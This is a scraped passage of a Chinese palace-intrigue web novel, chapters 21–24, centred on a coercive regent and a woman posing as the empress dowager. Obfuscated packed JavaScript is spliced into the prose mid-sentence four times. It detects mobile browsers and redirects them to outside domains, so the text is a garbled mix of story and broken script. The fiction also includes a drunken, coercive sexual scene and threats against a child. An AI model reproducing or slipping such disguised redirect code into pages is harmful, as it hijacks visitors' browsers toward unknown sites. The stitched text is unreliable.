RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512972|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李穆听见她关心自己,隐隐有些激动,浑身上下抽搐的痛也被止住了。 可她下一句却问:“榕姐分明是我兄长和嫂嫂的孩子,她哪里长得像舒奕?” 李穆激动的心,重新落回深渊。 原来她并非关心自己,而是在骂自己眼瞎。 她什么时候才会对他有一丝丝真心呢?他不贪心,只要一点点就可以。 只有她的怜悯和温柔,才能消解他的伤痛,他才能不带任何恨意地去完成先帝遗愿,最后带着与她有关的回忆,安心地躺在棺材里,快乐地死去。 李穆不愿在众人面前让她难堪,可心里的怀疑和恨实在无法消解。 他明知舒奕最擅长掩饰情绪,今日无论如何都问不出什么,却还是忍不住问:“舒奕,你和福康县主成亲已有五年,打算什么时候要孩子呢?” 舒奕满含情愫地看了一眼福康县主,才回答李穆的话:“当年她嫁我时年纪尚小,不适合生育。我担心她身体受损,一直在喝避子汤。今年太医给她看了身体,断出她已到了适宜怀孕的年纪,我便断了避子汤——不过,孩子的事,只能随缘。” 舒奕这番话,又勾着朱凝眉回忆了一遍生育时受的苦,她无人可恨,只能恨恨地看向李穆。 “哦!看来你们夫妻感情很好。”李穆说完,看向朱凝眉。 看着舒奕和福康县主感情浓烈,你会不会心痛? 在我独自承受痛苦煎熬时,你必须和我一起痛苦。 我对你的善意,只有在你眼眸中流露出伤痛时,才会浮现。如若不然,我会失控,我会忍不住伤害你,伤害你怀里的那个孽种! 朱凝眉留意到李穆眼神不对,知道他又开始发疯了。 为了安抚住李穆,她不得不打起精神来,向李穆证明她和舒奕没有私情,让他别再乱点鸳鸯谱,顾影自怜地渴饮那些没有必要的飞醋。 “忠勇侯说得没错,舒奕和福康县主之间感情深厚,两人如胶似漆,真叫人羡慕。大家都说,舒奕的眼睛里除了福康县主,再也看不到别的女子了。” 她狠狠瞪着李穆,心想,我的解释能打消你的怀疑吗? 舒奕心里只有他妻子,他不喜欢别的女人,更不喜欢别的太后,所以榕姐不可能是太后和舒奕的私生子。 若不是考虑榕姐的将来,依着她如今的暴脾气,她已经一巴掌狠狠甩在李穆脸上,对他大吼:睁开你的狗眼仔细看看吧!榕姐那口细碎的鱼牙到底像了哪个混蛋?她下颌的轮廓长得又像哪个混蛋? 21. 第 21 章 今日宫内变得怨气变得很重,空旷的金殿又添几分阴森,也许这些怨气是被李穆唤醒的,它们正迫不及待地趴在李穆身上吸取怨气当作养分,然后催他生出更多怨气。 她见李穆一身寒气的模样,忍不住想给他做场法事,给他念咒驱怨,引他入正道。 哎,连福康县主都被她哄得怒放,正羞涩地看着舒奕。 他俩不管旁人死活的郎情妾意,甜得她腻得慌。 再转头看李穆,仍旧是一脸被怨气附身的死样子。 这人忒难哄。 难怪朱雪梅被他吓跑!头疼,头钻心地疼。 她下巴支在榕姐的头顶,头疼劲儿还没缓过来,又听见李穆在憋坏:“听说太后娘娘入宫前,曾与舒奕是两小无猜的青梅竹马。你们每日一起读书,一起在后花园里说悄悄话,相处起来亲密无间。太后娘娘,您是如何做到心里装着舒奕的同时,却又坦然地嫁给先帝?” 李穆假惺惺叹气,笑容恶劣:“我猜您现在还没忘记舒奕吧?我想,如舒奕这般完美的谦谦君子,一旦住进女子心里,要割舍,就得连心也一并割舍掉,才能彻底忘记这个人吧。” 朱雪梅,我也曾试着忘记你,去爱旁人。 可是兜兜转转之后,我发现这世上除你,无人值得我用心去爱。 若我停止爱你,把你从心里割舍,我便会觉得活着是一件漫长而痛苦的事。 便如此刻,我身在人间,心在炼狱。 再多看我一眼吧,哪怕你是用带着恨意的眼神在看我,也能让我少受些煎熬。 李穆眼睛没离开过朱凝眉,却能执壶高抬,将酒水准确无误地倒入杯中。 朱凝眉盯着他手中的酒杯,唯恐他把酒水洒出来,紧张得连说话也磕磕巴巴地:“哎呀……哀家跟舒奕,我们俩不是你想的那回事。哀家和他只是小时候的玩伴——是没有血缘的姐弟——也有点像和你并肩作战过的生死兄弟,你懂吗?” “像你这种大老粗,是不会明白的。男子和女子之间也会生出那种惺惺相惜的情谊,看见他和福康县主感情甚笃,哀家打心眼里高兴还来不及,又怎会嫉妒福康县主呢?” “还有,哀家为何要把舒奕从心里割舍掉呢?若哀家和舒奕都能活到七老八十岁时,坐在一处围炉煮酒,聊些过去的莽撞事,岂不快哉?” 说完,她忽然想起自己在道观里,陪同师父和师伯观雪煮茶的那些记忆,忍不住诗兴大发起来:“少时咬耳窃窃语,白首搀扶迟迟行。雪落苍茫各凋零,半醉闲叙旧时情——你若能多读些书,便能心胸开阔些,也能明白青梅竹马的少年情谊,它比白雪和明月都干净!” 听朱凝眉说完这席话,大长公主率先落泪,只因她的故人都已经死光,再无人能陪她闲叙当年情。 福康县主和小皇帝陆憺尚还年轻,对这番话感触不深,他们见大长公主忽然伤心,同时起身到她面前,一个给大长公主拭泪,另一个抱着大长公主让她靠在自己年少单薄的胸膛里哭泣。 李穆倒是没再乱吠,可他一杯接着一杯地饮酒,比说话时更可怕些。 朱凝眉烦透了李穆,不想再看他,于是低头看看可爱的榕姐,在她软呼呼的脸蛋上亲一下。 榕姐真可爱! 李穆真是命好,他生得这么讨人嫌,却能生出榕姐这样可爱的女儿。 榕姐听不懂大人话语中的弯弯绕绕,仅凭着直觉发现小姑姑心情不好,并且认定是李穆在欺负小姑姑。 她坐在朱凝眉身上,大声对李穆吼道:“我太后姑母很爱皇帝姑父,他们从没有红过脸、吵过架。” 说完,她又给自己找了个帮手:“憺哥哥,榕儿说得对不对?” 陆憺笑道:“榕姐说得对!” 这些话,旁人说出来都像是在掩饰什么,偏生从四岁的稚童嘴里说出来,却能让人信服。 稚童的眼,是世上最纯净的眼。 陆憺自己不方便辩解的话,榕姐却能脱口而出。既帮他解围,又帮他提醒众人,今日是他的生辰,他才是这场宴席中最不应该被忽视的人。 谁知李穆却依旧执着,不肯作罢,还冷笑道:“哦,太后和先帝之间的感情能有多好?你不妨多说些给我听听?” 榕姐不知李穆还会反问自己,吓一跳,抿着嘴,钻进朱凝眉怀里躲起来。 她想起出门前,娘再三交代过自己,不要跟那个坏人说话。 娘说他是疯子,会杀人,好可怕! 糟糕,她刚才忘记娘交代的事,跟那个疯子说话了。 可她就算是再害怕那个疯子,也要保护她最喜欢的小姑姑。 榕姐不答,李穆只好抬眸重新看向朱凝眉,想听她回答。 朱凝眉性子怯懦,朱雪梅知道她上不了台面,所以从不宣她进宫。 但朱雪眉却会常常出宫,看望这个被自己当作小猫、小狗养大的妹妹。姐妹俩感情不深,却不是全然没有感情。 榕姐说得也没错, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524786|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先帝和朱雪眉的感情自然是极好的。 她们的父亲是个见异思迁的男子,爱之如狂时对枕边人言听计从,感情淡去,便将昔日爱人如弃履般束之高阁。 她们都厌恶这种滥情的男子。 先帝在第一任皇后和太子相继染疾去世后心死如灰,十年未曾娶妻,直到年过四十的他对十八岁的朱雪梅一见钟情后,又动了凡心。 先帝年纪大,会疼人,对朱雪梅呵护备至。 住在宫里的朱雪梅若是想家了,先帝便带着奏折陪朱雪眉回家小住。 先帝和气,可惜年幼时她年小胆怯,不敢亲近这位姐夫,只躲在暗处观望,连跟他说句话都没胆。 她在上大甲听到那位温柔和气的皇帝姐夫的死讯后,尚且躲起来哭了半个时辰。 这样好的夫婿,朱雪梅怎会不喜欢呢? 如若不然,她怎么会逃出皇宫? 来京城的路上,大哥说,皇帝姐夫刚去世的那天,姐姐试图用一根白绫结束自己的性命,为先帝殉情。 多亏梅景行早有提防,一直在暗中盯着她,她才没有随皇帝姐夫而去—— “太后娘娘正在想什么呢?”李穆开始催命了,他非要听的她回答。 朱凝眉不想惹怒李穆,却更不愿说假话辱没先帝和姐姐的感情。 两相权衡下,她选择盯着李穆的眼睛,如实地回答他的话。 “我和先帝十七年夫妻情深,说出来也不怕被你们笑话。至今我仍觉得先帝还活着,他仿佛就躺在海棠树下的那张暖椅上,对我说‘雪梅,朕今日嘴里有些发苦,你能不能别再劝朕喝药,朕想吃块蜜饯,你就行行好吧’” “我习惯在半夜醒来时,去握他的手,给他把脉——如今半夜醒来,还是有这个习惯,可我伸出手后,却摸了个空,愣怔半日才想起来,他已经去了。若非陛下年幼,孤苦无依,我真想殉了先帝,陪他一起躺在帝陵里。” “我如今是一点儿也不怕死了,因为我知道,我死的那日,便能和他再见面。” 朱凝眉不知自己的眼泪是何时流出来的。 在她说出这番话的时候,忽然意识到,姐姐很可能已经不在人世。 如若不然,李穆怎么会掘地三尺都找不到她呢? 朱凝眉和姐姐的感情并不深厚,姐姐总是对她严厉。可是一想到姐姐已经不在了,她就忍不住伤心起来。 她流着泪,幽幽地看向李穆,问:“我这样回答,你满意吗?” 22. 第 22 章 听她说这些话的时候,李穆只想冲过去,捂住她的嘴。 她为何能如此坦荡地在他面前,说她想陪着先帝一起死? 李穆前阵子心情不好,叫几个属下一起喝酒,醉后他问属下:“我长得不如先帝?”所有人都说他比先帝俊俏,比先帝年轻。可为何在她眼里,他处处不如先帝? 李穆放下酒杯,静静地看着她,仿佛要通过她那双眼睛钻到她心里去:“你想死,没人拦着你——” 但他说完,却用毛骨悚然的眼神,扫视着屋内的所有人。 朱凝眉却听懂他的言外之意,他是在说,她敢死,他就会让这间屋子里的所有人来为她陪葬。 殿内倏然沉默,李穆一杯接一杯地饮酒。 大长公主已经从伤心中缓过来,悄无声息地打量着两人。 陆憺从朱凝眉手里,把榕姐姐抱过去,把她抱在腿上,一勺一勺地给榕姐喂桂花牛乳油蛋羹。 朱凝眉盯着李穆看了会儿,很想把他手中的酒壶夺下,免得他喝醉之后发酒疯,又要来安宁宫闹事。 可朱雪梅会做这种事吗? 不会,就算今日李穆醉死在宫内,朱雪梅定然也不多瞧他一眼。 朱凝眉提醒自己,她现在是太后,不能漏出破绽。 她转头看向窗外。 就在这时,有人通禀:“启禀太后娘娘,忠勇侯夫人和忠勇侯世子到了。” “请他们进来!”朱凝眉说完,看向陆憺,道:“陛下,先帝向忠勇侯托孤,择他为四大辅政大臣之首。所以,他既是您的臣子,也是您的老师,更是您的季父。他和自家人没什么不同,于是哀家做主,把忠勇侯夫人和忠勇侯世子也请来参加今日家宴。” 陆憺放下手里的碗,起身,弯腰,拱手道:“母后,儿臣认为您这样做很妥当。儿臣年幼,离不开母后的教诲,只盼望您能早日振作起来,如往日那般严厉地指正儿臣的错处,帮儿臣弥补疏漏之处。” 陆憺淡笑着说好,心里却忍不住为朱凝眉喝彩。 他原本还在为她担心,怕她斗不过李穆,谁知她竟把忠勇侯夫人和世子请来了。 李穆就算再也不要脸,也不能当着妻子和儿子的面,继续为难她吧,她实在是聪明极了! 忠勇侯世子李儒在给小皇帝和太后行礼后,走到李穆身边,满脸骄傲道:“爹,我今日射箭的功课是满分,师父说我从明日起,可以射二十步以外的靶子了。” 夏芍见儿子仿佛把皇宫大殿当成自家书房,心中惶恐不已,她连忙拉到身边,笑道:“这点小事也值得跟你父亲说。” 李儒年纪虽小,却经常听到有人讨论,他的父亲李穆权倾朝野,就连太后和皇帝都怕他这种话。还知道大家都怕李穆,是因为李穆发疯了就会杀人,先帝死后,李穆杀了很多人。 李儒虽也怕李穆,却也不妨碍他对父亲有种天然的崇拜和亲近,而且他相信李穆就算再生气,也不会杀了自己。 所以,李儒颇心里隐约生出一些瞧不上皇帝和太后的想法来,还觉得他娘实在太啰唆。 于是他挣脱夏芍,对她怒斥道:“这是我们爷俩的事,娘,你一个妇道人家快别插嘴。” 李穆看一眼重新坐回太后身旁的榕姐,笑了笑,把李儒抱到腿上,轻声道:“你才四岁,居然就能射中二十步外的靶子了,真不愧是我李穆的好儿子!待明日下了值,爹带你骑马去山中打猎!” 李儒听到,眼睛一亮,开心极了:“哇!爹,您可以教我学骑马吗?” “当然可以!”李穆摸了摸儿子的头,看似开心地笑了,其实心里依然不好受。 坐在朱凝眉怀里的榕姐,听完李穆和李儒的对话,满脸羡慕,她小声道:“我也想学骑马,可我娘不准我骑。” “她是担心榕姐受伤。”朱凝眉小声在榕姐耳边说:“等你再长大一点,姑母亲自教你骑马,好不好?” 榕姐性子好动。才四岁,喜欢爬树、爬屋顶,从假山上跳下来体验飞的感觉。还偷偷用银钱收买府中男仆,让他们提着她俩胳膊来回晃悠,因此经常肩膀脱臼。 尽管姜凤英却把她看得跟眼珠子似的,一点危险都不让她碰,却拦不住榕姐骨子里对危险刺激之事的向往之意。 歌舞喧嚣时,李穆低头听儿子说话,余光扫到她身上,竟发现她的目光停留在自己身上。正欲抬眸看得仔细些,舞姬翩然而至。 也许是他醉酒看错吧。 看着李穆和儿子低头说话的模样,朱凝眉难受一整晚。 沐浴后,寝殿内有些闷得慌,朱凝眉着一身清凉的寝衣打开窗,望着窗外天空中的繁星。 作为朱凝眉,她当然不后悔与李穆和离,她怎能将自己的后半生托付于那个不爱自己的男子?她当年走得洒脱,放手痛快,也承担了任性行事的后果。 可作为孩子的母亲,她便不够坚定了。 若她当年忍气吞声,不和离,李穆是否也会像对李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16529683|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儒那样对榕姐温柔呢? 哪怕李穆对夏芍没什么感情,娶她只是为了把她放在府中当个摆设,可他对李儒给予了那么多疼爱。 也许李穆会成为一个好父亲,但朱凝眉依旧不敢赌! 李儒和榕姐性情不同,李儒性格憨厚、粗犷,不会将什么事都放在心里。 榕姐年纪虽小,却已显露出些许多思多虑的端倪来,若将来榕姐知道她的父亲不爱母亲,爱的是另一个女子后,会不会对李穆产生仇恨? 试问,李穆又怎么会疼爱一个对自己充满仇恨的孩子呢? 为了榕姐的将来,她无论如何都得守住她的身世。 骑马这等小事,和她未来的幸福比起来,又算得了什么呢?而且又不是只有李穆的女儿才能骑马,现在她可是太后,凭着她如今的权势和地位,榕姐想骑马谁又能阻止呢? 她拭去脸上的泪,为今晚莫名其妙地哭泣感到羞耻,准备关窗去睡。 不关窗,夜里还是有些凉,今夜榕姐在她这里睡,若她着了凉回去,下次进宫可就那么容易了。 院中影影绰绰,仿佛进来个人,身高颀长,有点梅景行。 宫里的其他太监都佝偻着身子走路,除了梅景行,没别人。 瞧他步履匆忙,可有什么急事? 该不会是小皇帝又被李穆给为难了?这疯子今日喝多了酒,她猜他会在宴席散了之后来安宁宫发疯,还刻意把榕姐早早哄睡下了,又坐在窗前等了他许久。 直到小太监来禀报,说宫门已经落匙,她才去沐浴更衣。 原以为宫门落匙后,李穆不会再进宫,可他这么晚了居然还要敲开宫门,来宫里找小皇帝的麻烦,今日可是小皇帝的生辰,他就不能选个别的日子发疯吗? 朱凝眉心里焦急,起身去迎。 只是她还没迈出门槛,就被一只长长的胳膊强势地揽进怀里,淡淡的酒气混合着冷冽的雪松香劈头盖脸地钻进她的鼻息。 她惊诧地看着李穆,他把自己洗漱得清爽,剃光胡子,衣裳还熏了香,是想做什么? 这厮分明有备而来! 还有这身装扮,像极了梅景行的素日常服,也让李穆看起来年轻好几岁,难怪她刚才把他认错成梅景行。 李穆趁她发呆,将她打横抱起往里走,边走边盯着她哭得红肿的眼睛,问:“怎么哭了?” 他将她放在临窗的软榻上,脸贴近她的脸,灼热的呼吸几乎烫伤她的眼睛。 23. 第 23 章 他企图将淡淡的白薇香气拥抱入怀,狠狠怜爱。但怀中人单薄纤细的肩骨,让他不敢放纵。 “先帝已经没了,天下再也没有别的男子敢要你,你为什么不能看看我呢?” 胳膊被攥紧,朱凝眉看着他漆黑的眼睛,微微挣扎着,又怕更加触怒他,分明是反抗的话听起来就像在撒娇:“李穆,你别发酒疯好不好?” 她将头顶在李穆的胸口,像刚出生的小羊羔企图用稚嫩的犄角攻击猎物。可她这番抵抗落在李穆眼里,无异于主动投怀送抱,让他激动得浑身发颤。 他霸道地擒住她的下巴,把她的脸从怀中往上抬,自顾自地笑着说:“求我!你说点好听的话求我,我就会原谅你对我的冷漠无情,我就会大发慈悲地不计前嫌,我就会像从前一样继续爱你。” 她胳膊上的疼痛还没缓解,下巴却又被他攥得疼痛,疼得泪眼汪汪,看得他心里软塌塌的,他情不自禁地想要吻去她眼角的泪。 “你究竟喝了多少酒!”朱凝眉压低嗓音骂他,刚说完,便看到他的唇逐渐凑近,于是咬牙后仰,狠狠撞上他的额头,疼得她汇聚在眼眶里的泪终于簌簌滴落。 李穆松开她,抬手温柔地拭去她脸上的泪,目光却透着狠戾:“在你心里,我就那么差劲?” 还好,她没白挨这下疼,撞一下就把李穆给撞正常了,他终于不再用那种腻得人心慌的眼神看她。 虽然他阴恻恻的表情看起来很吓人,但她还是更适应他这这副鬼样子。 她强撑着胆子,扬起下巴,板着脸呵斥道:“退下,哀家不跟醉鬼说话!” 她不施粉黛,脸有余愠,红唇饱满,晶莹剔透,长得一副勾人样,说出来的话却冰冷无情,没有半分温度。 哪怕她是一朵带刺的毒花,他今日也要用尽手段将她摘下! 李穆捧着她的脸,迫使她看着自己:“你在胡说,老子千杯不醉!你是不是忘了自己说过的话。” “我、我说过什么?我说过的每一句都算数。”朱凝眉心里却在想,反正无论李穆说什么,她都可以说他是不是记错了。 “那日你跪在老子面前哭着说,随时欢迎老子来找你——老子今日就想睡你,你给不给睡?” 原来是这句,好像赖不掉了。 她原本也没打算赖,反正已经跟他睡过了,再睡一次也没什么。男女之间,不就那些事吗? 她是修道之人,什么事都经历过,反而有利于修行。 只是榕姐还睡在里间,怕他发疯把榕姐吵醒了,朱凝眉羽睫轻颤,软声呢喃:“我当然没有忘——你今晚不是带着夏夫人和令公子一起走了吗?怎么又回来了?其实你回来看我,我心里还挺高兴的呢。” 李穆忽然松了口气,暂时放过她。 “你是真的高兴,还是在耍我?” 他深深叹气时,还带着慵懒的醉意。 “我说的当然是真话。这阵子你不来跟我吵架,我还有些寂寞呢。”朱凝眉垂下眼睫,巧妙地藏住眼底的不耐烦。她说服自己,她说这种恶心的话都是为了榕姐,为了小皇帝,为了哥哥。再抬眸看李穆时,盈盈一水的眸中只剩下楚楚可怜的哀求。 李穆见她如此亲近自己,一时不敢相信。 下一刻,朱凝眉抱着视死如归的决心,主动倚到他怀里,头靠在他的肩膀上:“——但今夜不行呢,榕姐还在里面睡着。” 她这样主动,反而让李穆起疑。 李穆宁愿被她嫌弃,也好过被她愚弄,他神色冷峻,气堵在心口难受极了。 因为想到她的柔情蜜意,都是在安抚他,并非真心,他就难受得喘不过气。 朱凝眉见他脸憋得通红,还以为他只是情动。 她心里想着榕姐,丝毫没有察觉他的怒意,反而大着胆子在他脸上亲了一下,馨香的呼吸如暖风一般扫到他的耳后,滑落在他脖子里,四散至身体各处。 黏糊糊的声音像糖丝一样粘在他皮肤上,怎么擦都擦不掉。 “改天嘛,好不好?” 话音未落,她的下巴在倏然间被扣住,激烈的吻如狂风骤雨般席卷而来。 对他的爱意已经消散,身体却记住了曾经带给她快乐的所有瞬间,遥远稀薄的记忆碎片被夜风席卷着从窗户里飘进来,重新融入她的身体。 快乐与恨意,一起在她身体里碰撞,颤得她心脏剧烈地疼。 她倏然从回忆的梦境醒来,用力咬住他的唇。 血的味道在她舌尖肆溢,却使李穆疯得更加彻底,吻得更加激烈,直到她不停哼哼反抗,用力捶打他的肩膀,他才停下。 他松开她,舌头一挑,卷走唇边的血珠子,狠戾地笑出声音来:“你为先帝守身如玉;对舒奕倾慕有加;对梅景行好言好语——却唯独视我如洪水猛兽!为什么?” “我没有,你别冤枉我!” 为母则刚,朱凝眉没有被他吓跑,反而捂着他的唇,更加凑近他。 这回他没有再听错,她是真的在放软了语气撒娇:“都说了要你小声点,孩子还在里面睡呢。” 但她撒娇,是为了那个孽种。 李穆神色阴戾:“她父亲是谁,你不说,老子今晚要宰了那个孽种!” 朱凝眉气得揪他耳朵,用指甲挠他手背,小声呵斥道:“有本事你现在就去宰了她!宰了她我马上告诉你,她那个挨千刀的父亲是谁。” “你讨好我!我就不说了。”李穆被她揪得耳朵通红,反而心情愉悦,开始耍赖。 朱凝眉红着脸,主动在他唇角受伤的地方落下比羽毛还轻的一个吻:“求你!” 她的声音如温热的水,软绵绵的,听得人心神荡漾。 李穆懒懒地笑了笑,握着她的下巴,像狗似的在她脸上和耳后都闻了闻,然后鼻子挨着她的鼻子,轻声道:“这就是你求人的态度?” 朱凝眉忍下心中的烦躁和叹气的冲动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543170|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,纤细无骨的身子,软趴趴地往他怀里钻。 隔着两层薄薄的布料,他胸口坚硬如石的肌肉,感受到了她软绵纤细、优雅玲珑的身躯。 两人的呼吸都有些紊乱慌张,身子都像在不断坠入虚无。 他双手紧张地握住她纤细的腰肢,怕她如调皮的蝴蝶翩然飞去,又怕自己控制不住力道折损她的脆弱得透明的羽翼。热得冒汗的掌心紧贴着她冰凉如玉的肌肤,贪心地汲取那点凉意,如落水之人抓住最后一根浮木。 他的体温烘烤着本就干燥衣裳,洗漱后的清爽香气和熏香的味道遇热后融化在了一起,她被他抱着,臀被迫贴着他紧绷的双腿,颤抖的身子紧紧贴着他的胸膛,他炙热的身体如一堵密不透风的墙,帮她驱逐了所有的凉意。 灼热的呼吸从他的鼻间,流经他的下颌,汇入她头顶的百会穴,渗透着流入她的发缝与青丝,也暖了她的四肢百骸。 舒适的温暖,不仅仅驱散了她心底的寒冷,打通了深深的桎梏。 “若你非要不可的话,就去外面吧。拿张毯子垫在海棠树下,小声点,别让榕姐听见就行。” 他勾起唇角,说出来的话就跟淬了毒似的:“今日宴席上,你不是说先帝还没死吗?他就躺在海棠树下的暖椅上闭着眼睛睡觉呢?怎么,怕吵醒那个孽种就不怕吵醒先帝了?若先帝看见你如此主动地向我求欢,他会不会气得从棺材里爬起来呢?” 她抬眸,碰上他嘲讽的眼,以及嘴角那抹耐人寻味的笑。 她羞恼地推开李穆,拔腿就走! 走了两步,又被他抓住了手腕,重新拽回他怀里,倏然失重站不稳,她怕自己被磕着,下意识勾住他的脖子,看起来更像是在主动投怀送抱。 他轻声笑了笑,胸膛微微震颤:“你这是在求人吗?脾气这么硬,随便说你几句都听不得了?你骂我的时候,比我狠多了呢。” 她委屈地咬他的肩,可惜他的肩膀也硬得像石头似的,咬不动,绷得牙疼。 她的眼泪又不争气地落下来:“你到底要怎样才肯放过我和榕姐?” 李穆叹气:“傻瓜,你这么精明的人,怎么会听不出来,我已经打算放过你了。” 他紧紧抱住她,把她囚入怀,头埋她发间,深吸口气,才心满意足道:“你睡吧,我马上就走,明晚我会再来。别再耍我了,不然我真的会疯!他们说得没错,我现在是个不折不扣的疯子,我发疯的时候会做出什么出格的事,就连我自己都无法想象。” 说罢,他抱着她放回软榻上坐着,头也不回地走了。 整整五年了,她逼着自己忘记这个人,强行将他从心里摘除。她好不容易将伤口愈合,不能再任由他又将愈合的伤疤撕开。 她取悦李穆,不为了与他重修旧好。 眼看着李穆连心爱的人都认错,想着李穆终有一日发现她不是朱雪梅,她便心头愉悦。 这对李穆来说,何尝不算是屈辱呢? 24. 第 24 章 翌日,梅景行又去大长公主府拜访。 因着上回那套头面,大长公主没给梅景行好脸色,任由他跪着回话。 梅景行也不恼,只道:“奴婢今日来,是来为陛下答谢大长公主。陛下见大长公主和太后之间的和睦相处,心情极好,便命奴婢想法子在宝库里寻一件大长公主喜欢的物件儿送来。” 大长公主不感兴趣,讽笑道:“我库房里什么稀罕宝贝没有?不过总是陛下一番好意,你把东西放下便回宫去吧。你是大忙人,陛下身边离不了你。” 梅景行笑道:“正是如此,我也是这么回的陛下,宫里这些宝贝都是大长公主当年挑剩下的,奴婢担心您瞧不上,便给大长公主寻了个故人回来——您要不要见一见?” 故人? 大长公主坐直身体,骂道:“你们这些阉人,没事少给陛下添麻烦!少在本宫身上动歪心思,本宫没空陪你胡闹——” 话音未落,一个身着白衣,高高瘦瘦,面容白净,五官精致的男子走进来,跪在梅景行身旁,给大长公主磕头。 大长公主激动得将他扶起,问:“你回来做什么!” “奴婢当惯了狗,离开京城去过人的日子,反而有些不习惯。”那人双目含情。 大长公主对他说:“罢了,他既然把你送回我身边,你就别走了。反正皇兄已经不在,我看谁还敢为难你。” 大长公主眼风扫向梅景行,冷声道:“你起来吧!无事献殷勤,非奸即盗,你把孟洪从琼州带回来,是想从本宫手里要什么好处?” 梅景行道:“李穆逼着大长公主遣散府中面首,奴婢担心大长公主寂寞,便将孟公公从琼州寻了回来,这只是奴婢的孝心,奴婢没有别的企图。” 大长公主扫了他一眼,明显不信。 梅景行笑道:“只是奴婢忽然想起一件事——” “什么事,说罢,别绕弯子。”大长公主不耐烦他玩这些虚礼。 “奴婢只是想告诉大长公主,李穆昨夜闯入太后寝殿,又被太后赶了出来。” 说完,梅景行便退出大长公主府。 厅内只剩下大长公主和昔日的司礼监大总管孟洪,他从前也是大长公主的面首,比大长公主小二十岁。后来犯事,被逐出京。 大长公主抚摸他俊美光滑的脸,感慨道:“我已经老了,你还这么年轻,你回来找我做什么?” 孟洪双手将大长公主搂在怀里,手指轻轻摩挲着她的背脊,道:“在狗的眼里,主人无论何时都是最美的。” 大长公主脸靠在孟洪胸膛,道:“从前你说这些,我虽听着高兴,却从来不信。可你如今还愿意回来找我,我便没有理由不信你了。” “奴婢对殿下说的每一句都是真的!”孟洪把大长公主打横抱起来,一步步朝里走:“刚才听殿下正在为李穆的事发愁,奴婢倒想起一桩旧事——” “什么旧事?” “当年李穆与朱家二小姐成婚后,第二日便和离。此事闹得沸沸扬扬。殿下可知那位朱家二小姐去了哪里?” “无名之辈,本宫怎知她的去向。”大长公主忽然惊呼一声,娇声斥道:“本宫已经老了,经不得你这么折腾,你——你还不放尊重些!” …… 一个时辰后,大长公主换了身衣服从寝殿出来,召来心腹吩咐一番,道:“事情办好,本宫重重有赏。若办不好,哀家要你全家狗命!” 心腹额头冒出一层冷汗,吓得瑟瑟发抖:“是,属下领命!” 与此同时,朱归禾进宫来接榕姐回家。 和榕姐在一起的时间太开心,若不是宫里太危险,朱凝眉真想让榕姐再多住几日。 朱凝眉看着大哥脸上的巴掌印,道:“嫂嫂既然不满榕姐进宫,你以后还是别带榕姐进宫。” 朱归禾还没说完,榕姐便道:“不行,我以后还要进宫看望太后姑母。” 朱归禾哄着榕姐说:“榕姐先去马车上等爹爹,爹爹和姑姑说两句话便来。” 榕姐懂事地点点头,对朱凝眉挥挥手,便让朱胜抱着往马车的方向走。 朱归禾道:“昨日你和李穆针锋相对,实在不应该。这话我本不该说,李穆现如今对你执迷,未曾细究你昨日露出的破绽;大长公主只顾看戏,也未将这些放在心上——” 朱凝眉疑惑:“我昨日露出什么破绽?” “你说先帝不愿喝药那段,实在破绽百出。先帝威严庄重,怎会说出那样的话?你以后要瞎编,需在脑子里仔细想一遍再说出来。” “我可不是瞎编,这是先帝在朱家小住时,这是我亲耳听到的。先帝在你们面前自是威严庄重,他在姐姐面前装痴求饶又怎会让你瞧见?”说到这里,朱凝眉心情又难过起来:“大哥,姐姐出宫后,会不会找个没人的地方自戕,悄悄追随先帝而去?” “你怎么这样想?”朱归禾沉吟道:“我们已经打听到她的下落,她还活着。” “那我岂不是马上就能出宫回上大——” “没那么快!”朱归禾柔声拦住她的话,悄声道:“有些事,等你哪日有空出宫再详谈。” “大哥!” “别急,她现在正心死如灰,你忍心让她去迎合李穆?依她的性子,恐怕她宁可与李穆玉石俱焚。”朱归禾道:“目前看来,这个太后,你当得比你姐姐更好。至少李穆现在已经同意让陛下上朝听政,南北各司政务也在步入正轨。李穆不发疯的时候,还算是个对朝廷有用之人。” 不知为何,朱凝眉又想起那日在忠勇侯府,听李穆发疯时说的那番喝血、吃肉、拆骨头熬汤的话。 在李穆心里,大哥也算拆他骨头熬汤的那些人吗? 想这些也没用。 反正姐姐就快回来了,她还操心这些做什么。 